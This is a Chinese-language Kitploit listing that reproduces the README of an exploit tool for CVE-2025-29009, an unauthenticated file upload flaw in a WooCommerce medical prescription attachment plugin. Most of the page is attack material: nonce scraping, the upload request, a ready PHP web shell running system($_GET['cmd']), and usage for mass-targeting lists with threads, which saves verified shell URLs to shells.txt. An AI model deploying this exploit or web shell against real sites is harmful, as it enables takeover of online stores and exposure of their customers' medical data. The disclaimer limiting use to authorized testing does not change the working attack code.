Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-29009 — WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 存在高危任意文件上传漏洞 | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-29009
Payload生成漏洞分析漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试学习与教育
GitHubnxploited/cve-2025-29009

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce Plugin <= 1.2.3 存在高危任意文件上传漏洞

查看仓库
1114个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-29009

WordPress Medical Prescription Attachment Plugin for WooCommerce 插件 <= 1.2.3 存在高优先级任意文件上传漏洞

CVE-2025-29009

Webkul Medical Prescription Attachment — 无限制文件上传 → Web Shell

root@kitploit:~
,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'     ,-.   ,-.   ,-.   ,-.   ,-.
/    |  /  |           ) /  /\    ) |           ) (   ) /  /\ /  /\ (   )
|    | /   |-   ---   /  | / |   /  `-.  ---   /   `-'| | / | | / |  `-'|
\    |/    |         /   \/  /  /      )      /       / \/  / \/  /     /
 `-' '     `--'     '--'  `-'  '--' `-'      '--'  `-'   `-'   `-'   `-'

CVE 插件 认证 Python 作者


❶ 漏洞

根本原因:
wkwcpa_handle_prescription_session AJAX 处理程序(action=wkwcpa_handle_prescription_session)通过 wkwc_pa_prescription_attachment[] 接受文件上传,未在服务端验证文件扩展名或 MIME 类型。未经身份验证的攻击者可以从公共 WooCommerce 商店页面(嵌入在 wkwcpaFrontObj JavaScript 对象中)提取 ajaxNonce,然后直接将 PHP Web Shell 上传到服务器的上传目录。响应返回上传文件的完整可访问 URL。


❷ 攻击流程

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  1. 解析首页                                                │
│     GET /  →  GET /shop/  →  GET /product/  →  GET /?wkwcpa=1│
│                                                              │
│  2. 提取 nonce                                               │
│     解析 wkwcpaFrontObj.ajax.ajaxUrl                         │
│     解析 wkwcpaFrontObj.ajax.ajaxNonce                       │
│                                                              │
│  3. 上传 shell                                               │
│     POST <ajaxUrl>                                           │
│       action = wkwcpa_handle_prescription_session            │
│       nonce  = <ajaxNonce>                                   │
│       type   = upload                                        │
│       wkwc_pa_prescription_attachment[] = shell.php          │
│                                                              │
│  4. 解析响应                                                 │
│     JSON → data.attachments_img_html[].src  →  shell URL    │
│                                                              │
│  5. 验证 shell                                               │
│     GET <shell_url>  →  检查唯一签名                         │
│                                                              │
│  6. 保存到 shells.txt                                        │
└──────────────────────────────────────────────────────────────┘

❸ 环境配置

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-29009.git
cd CVE-2025-29009
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

❹ Shell 准备

创建你的 PHP Shell,并嵌入一个唯一签名字符串,以便工具验证执行成功:

root@kitploit:~
<?php
// NxploitedShellOK
system($_GET['cmd']);
?>

保存为 shell.php,放在脚本所在目录。
字符串 NxploitedShellOK 即为签名 —— 它必须出现在 Shell 的响应中,验证才能通过。


❺ 使用方法

root@kitploit:~
python3 CVE-2025-29009.py

提示信息

root@kitploit:~
目标文件(默认 list.txt):              list.txt
线程数(默认 10):                         10
本地 shell 文件名(例如 shell.php):        shell.php
唯一 shell 签名(例如 NxploitedShellOK): NxploitedShellOK

目标格式 — list.txt

root@kitploit:~
https://target1.com
target2.com
http://target3.com

没有 http:// 或 https:// 的目标会自动添加 http:// 前缀。


❻ 输出

文件内容
shells.txt每行一个已验证的 Shell URL

终端:

root@kitploit:~
[SHELL]  https://target.com/wp-content/uploads/2025/06/shell.php
[FAIL]   https://target2.com  (nonce_not_found)
[FAIL]   https://target3.com  (success_false)
[Status] 3/3  OK:1  FAIL:2

❼ 失败代码


❽ 作者

root@kitploit:~
Nxploited
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


❾ 免责声明

root@kitploit:~
仅供授权的安全研究和教育使用。

作者不对用于不属于操作者所有或未获得明确书面许可进行测试的系统承担任何责任。

未经授权使用违反 CFAA、CMA 及全球等效法律。
您的行为由您自行负责。

© 2025 Nxploited · Medical Prescription Attachment ≤ 1.2.3 · 已在 1.2.4 中修复

下载工具
字段详情
CVECVE-2025-29009
插件Webkul Medical Prescription Attachment Plugin for WooCommerce
受影响版本所有版本 ≤ 1.2.3
认证无需认证
类型无限制上传危险类型文件 → Web Shell 上传
CWECWE-434 · 无限制上传危险类型文件
代码含义
shell_file_missing工作目录下未找到 shell.php
no_front_page没有候选页面返回 HTTP 200
nonce_not_found任何页面中均未出现 wkwcpaFrontObj
upload_errorPOST 期间网络错误
json_parse_error响应不是有效的 JSON
success_false服务器返回 data.success = false
no_attachments上传成功但响应中没有 URL
shell_url_not_found无法从响应 HTML 中解析文件 URL